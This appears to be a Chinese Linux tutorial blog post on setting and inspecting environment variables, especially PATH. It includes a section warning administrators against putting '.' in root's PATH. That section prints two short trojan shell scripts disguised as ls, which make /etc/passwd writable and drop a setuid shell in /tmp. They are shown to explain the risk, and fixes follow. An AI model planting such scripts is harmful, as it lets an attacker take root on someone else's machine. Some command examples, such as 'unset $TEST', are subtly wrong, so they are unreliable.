在一般情况下，Linux文件系统中bin或sbin目录中的文件都是可执行的。有时我们为了方便不输入路径就能调用指令或工具，这时要就要设置用户的环境变量PATH。
看下面的一例：
[root@localhost ~]# ls
adduml.sh lsfile.sh mkuml-2004.07.17 mkuml-2004.07.17-ananas.tar.bz2 mydir openQreadme.txt sun.txt tmp upgrade.log
[root@localhost ~]# /bin/ls
adduml.sh lsfile.sh mkuml-2004.07.17 mkuml-2004.07.17-ananas.tar.bz2 mydir openQreadme.txt sun.txt tmp upgrade.log
上面的例子，第一个指令就是直接运行了ls命令来显示当前目录下的文件和子目录；第二个条/bin/ls 指令是用绝对路径的ls来运行的；这两种方式运行的结果看来是一样的。
在论坛上，有些弟兄总是我已经安装了某某软件包，却没有某个指令。其实就是环境变量设置的事。如果您直接输入某个指令不存在，解决办法有两个，一个方法是要指定用可执行文件的绝对路径（也可以是相对路径，怎么方便怎么用吧），另一个方法是设定用户的环境变量。
我们可以用export PATH来设置环境变量。比如把下面一行加入到用户家目录下的.bashrc 或.profile文件中；
export PATH=".:/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/X11R6/bin"
解释：您可以找出Linux文件系统中所有bin或sbin目录的的绝对路径，然后把它们用:号分割，比如上面所设置的。第一个.表示用户当前所处的目录；
添加好后，我们再运行一下source，也就是：
#source .bashrc
或
#source .profile
如果发现指令只有root权限才运行，这时您要用到su； 如果您用的是普通用户，可能无权查看一些文件的目录的内容，您也需要用到su来切换身份；请参考：《Linux 系统中的超级权限的控制》
常见的环境变量
对于PATH和HOME等环境变量大家都不陌生。除此之外，还有下面一些常见环境变量。
◆ HISTSIZE是指保存历史命令记录的条数。
◆ LOGNAME是指当前用户的登录名。
◆ HOSTNAME是指主机的名称，许多应用程序如果要用到主机名的话，通常是从这个环境变量中来取得的。
◆ SHELL是指当前用户用的是哪种Shell。
◆ LANG/LANGUGE是和语言相关的环境变量，使用多种语言的用户可以修改此环境变量。
◆ MAIL是指当前用户的邮件存放目录。
◆ PS1是基本提示符，对于root用户是#，对于普通用户是$。PS2是附属提示符，默认是“>”。可以通过修改此环境变量来修改当前的命令符，比如下列命令会将提示符修改成字符串“Hello,My NewPrompt ”。
# PS1=" Hello,My NewPrompt "
Hello,My NewPrompt
除了这些常见的环境变量，许多应用程序在安装时也会增加一些环境变量，比如使用Java就要设置JAVA_HOME和CLASSPATH等，而安装五笔输入法会增加环境变量"XMODIFIERS=@im=fcitx"等。
定制环境变量
环境变量是和Shell紧密相关的，用户登录系统后就启动了一个Shell。对于Linux来说一般是bash，但也可以重新设定或切换到其它 的 Shell。环境变量是通过Shell命令来设置的，设置好的环境变量又可以被所有当前用户所运行的程序所使用。对于bash这个Shell程序来 说，可以通过变量名来访问相应的环境变量，通过export来设置环境变量。下面通过几个实例来说明。
1. 显示环境变量HOME
$ echo $HOME
/home/terry
2. 设置一个新的环境变量WELCOME
$ export WELCOME="Hello!"
$ echo $WELCOME
Hello!
3. 使用env命令显示所有的环境变量
$ env
HOSTNAME=terry.mykms.org
PVM_RSH=/usr/bin/rsh
SHELL=/bin/bash
TERM=xterm
HISTSIZE=1000
...
4. 使用set命令显示所有本地定义的Shell变量
$ set
BASH=/bin/bash
BASH_VERSINFO=([0]="2"[1]="05b"[2]="0"[3]="1"[4]="release"[5]="i386-redhat-linux-gnu")
BASH_VERSION='2.05b.0(1)-release'
COLORS=/etc/DIR_COLORS.xterm
COLUMNS=80
DIRSTACK=()
DISPLAY=:0.0
...
5. 使用unset命令来清除环境变量
set可以设置某个环境变量的值。清除环境变量的值用unset命令。如果未指定值，则该变量值将被设为NULL。示例如下：
$ export TEST="Test..." #增加一个环境变量TEST
$ env|grep TEST #此命令有输入，证明环境变量TEST已经存在了
TEST=Test...
$ unset $TEST #删除环境变量TEST
$ env|grep TEST #此命令没有输出，证明环境变量TEST已经存在了
6. 使用readonly命令设置只读变量
如果使用了readonly命令的话，变量就不可以被修改或清除了。示例如下：
$ export TEST="Test..." #增加一个环境变量TEST
$ readonly TEST #将环境变量TEST设为只读
$ unset TEST #会发现此变量不能被删除
-bash: unset: TEST: cannot unset: readonly variable
$ TEST="New" #会发现此也变量不能被修改
-bash: TEST: readonly variable
7. 用C程序来访问和设置环境变量
对于C程序的用户来说，可以使用下列三个函数来设置或访问一个环境变量。
◆ getenv()访问一个环境变量。输入参数是需要访问的变量名字，返回值是一个字符串。如果所访问的环境变量不存在，则会返回NULL。
◆ setenv()在程序里面设置某个环境变量的函数。
◆ unsetenv()清除某个特定的环境变量的函数。
另外，还有一个指针变量environ，它指向的是包含所有的环境变量的一个列表。下面的程序可以打印出当前运行环境里面的所有环境变量：
#include
extern char**environ;
int main ()
{
char**var;
for (var =environ;*var !=NULL;++var)
printf ("%s \n ",*var);
return 0;
}
还可以通过修改一些相关的环境定义文件来修改环境变量，比如对于Red Hat等Linux发行版本，与环境相关的文件有/etc/profile和~/.bashrc等。修改完毕后重新登录一次就生效了。
对于普通用户和root用户$PATH里默认是不包含"."来指定用户的当前目录。这在本机进行脚本开发的程序员来说却不方便，想图省事的人就把点加到了搜索路径中，这就等于在你的系统埋下了险情。
例如：root为了方便使用在他的当前路径末尾加了个点"."（搜索目录为代表当前目录）
命令操作如下：
[root@rh root]# PATH=$PATH:.
[root@rh root]# echo $PATH
/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.
这下是方便了，直接输入脚本名就能执行。OK，正常情况下一点问题没有，也省去了输入./foo.sh的烦恼（foo.sh是我假设的脚本文 件名）。有的root把PATH=$PATH:.这条命令加到了profile里，使所有用户到分享你给他们带来的"福音"。更有胜者root用户竟然 PATH=.:$PATH（将"："加到路径前是另一种形式）。正常请况下一点问题没有，直到有一天，张三用户在他的主目录下放了名为lls的脚本，并对 root说他的系统出问题了希望root能帮他解决。（其实是一个trap）。Root一上来就su 成管理员权限，紧更着列了一下目录。有可能管理员误 敲成了lls,结果哈哈。。。。
以下是个简单的C shell 的例子
#!/bin/csh
If ( ! -o /bin/su )
goto finish
cp /bin/sh /tmp/.sh
chmod 7777 /tmp/.sh
finish :
exec /bin/ls $argv | grep -v ls
稍微变形就有个B shell的
#！/bin/sh
if chmod 666 /etc/passwd > /dev/null 2>&1 ;then
cp /bin/sh /tmp/.sh
chmod 4755 /tmp/.sh
fi
exec ls "$@"
如果root将其环境变量$PATH包含了"."并且其位置先与ls所在的系统目录，那么当用户在/tmp中执行ls时，执行的是上面给出的 脚本，而不是实际的ls命令，因为最终还是执行了ls,所以root不会看出有任何异常。如果是root执行了该脚本，就会将口令文件设置为可写,并将 shell复制到/tmp保存为.sh，同时设置其setuserid位，所有这一切都非常安静地发生。
在以上这两个程序里，心怀不鬼的人能写入任何令root急的要跳楼的程序，部下陷阱等root来钻，也许root在不知不觉中施行了也根本不 会察觉。 也许在张三的主目录下有一个名为ps的脚本里面包含有危险脚本，root可能一到他的机器前就输入了ps,此时系统会首先到当前目录下搜索，结 果/sbin/ps却不被执行。类似这样的小花招还有很多。
管理员同志，不要太紧张，下面我说说解决办法。
首先，要养成输绝对路径的良好命令行输入习惯，这样就不会让"不法份子"乘虚而入了。比如，列目录最好用/bin/ls来列目录，不要图方便而冒然输入ls。
其次，根用户（root）不要把"."包括到搜索目录列表里，而普通用户如果个"."包括到搜索列表中的话别，则"."就应当放在搜索目录列表的最后位置上。这样一来普通用户不会受到前面所述的那种危害。
最后，可以在登陆时在/etc/profile 和bashrc .profile文件的末尾添加如下一行
[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `
这个简单的sed命令将删除路径里所有的"."包括其另一形式"：："
还可以由crontab调用定期执行
#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt
PATH的值是一系列目录，当您运行一个程序时，Linux在这些目录下进行搜寻。用以下命令可以看到PATH的值。
$ echo $PATH
例如，在主机中，用户yogin的PATH值为：
/opt/kde/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/yogin/bin
其中“:”为分隔符。所以，上面的一串目录可以看成是如下的目录列表。
/opt/kde/bin
/usr/local/bin
/bin:/usr/bin
/usr/X11R6/bin
/home/yogin/bin
同样，也是主机中，用户root的PATH值为：
/opt/kde/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin
要修改所有用户的PATH值，您可以以root身份编辑/etc/profile文件，修改其中包含“PATH=”的一行。
例如，您可以使用pico编辑器打开/etc/profile文件。
$ pico -w /etc/profile
pico是一个文本编辑器，而-w选项关闭了长行回绕功能。
只有在用户重新注册后，PATH的新值才会生效。如果只是要修改某一个用户的PATH值，就应该编辑该用户主目录中的.bash-profile文件。
如果您想将当前目录加入到PATH中，则将“.”加入PATH中，此时PATH的设定如下：
PATH="$PATH:/usr/X11R6/bin:."
export PATH
注意：在修改了PATH值或任何环境变量后，都要用export将其输出，新的PATH值才能生效。
=======================
系统的环境变量在配置web server以及编写程序都常常被用到, 因此了解必要的关于系统变量的知识是非常有必要的.
本文简述关于linux系统变量的查看以及甚至方法等, 希望对大家有用.
在Windows下，查看环境变量的命令是：set，这个命令会输出系统当前的环境变量。
Linux下准确的说是REDHAT下应该如何查看呢，命令是：
export
如果你想查看某一个名称的环境变量，命令是：echo $环境变量名，比如：
echo $ORACLE_HOME
Windows对应的命令是：set 环境变量名。
外补一篇:
1. 显示环境变量HOME
$ echo $HOME
/home/redbooks
2. 设置一个新的环境变量hello
$ export HELLO=”Hello!”
$ echo $HELLO
Hello!
3. 使用env命令显示所有的环境变量
$ env
HOSTNAME=redbooks.safe.org
PVM_RSH=/usr/bin/rsh
SHELL=/bin/bash
TERM=xterm
HISTSIZE=1000
…
4. 使用set命令显示所有本地定义的Shell变量
$ set
BASH=/bin/bash
BASH_VERSINFO=([0]=”2″[1]=”05b”[2]=”0″[3]=”1″[4]=”release”[5]=”i386-redhat-Linux-gnu”)
BASH_VERSION=’2.05b.0(1)-release’
COLORS=/etc/DIR_COLORS.xterm
COLUMNS=80
DIRSTACK=()
DISPLAY=:0.0
…
5. 使用unset命令来清除环境变量
set可以设置某个环境变量的值。清除环境变量的值用unset命令。如果未指定值，则该变量值将被设为NULL。示例如下：
$ export TEST=”Test…” #增加一个环境变量TEST
$ env|grep TEST #此命令有输入，证明环境变量TEST已经存在了
TEST=Test…
$ unset $TEST #删除环境变量TEST
$ env|grep TEST #此命令没有输出，证明环境变量TEST已经存在了
6. 使用readonly命令设置只读变量
如果使用了readonly命令的话，变量就不可以被修改或清除了。示例如下：
$ export TEST=”Test…” #增加一个环境变量TEST
$ readonly TEST #将环境变量TEST设为只读
$ unset TEST #会发现此变量不能被删除
-bash: unset: TEST: cannot unset: readonly variable
$ TEST=”New” #会发现此也变量不能被修改
-bash: TEST: readonly variable
环境变量的设置位于/etc/profile文件
如果需要增加新的环境变量可以添加下属行
export path=$path:/path1:/path2:/pahtN
转载时务必以超链接形式标明文章原始出处和作者信息及版权声明原文网址：http://www.linuxsense.org/archives/398.html
No comments:
Post a Comment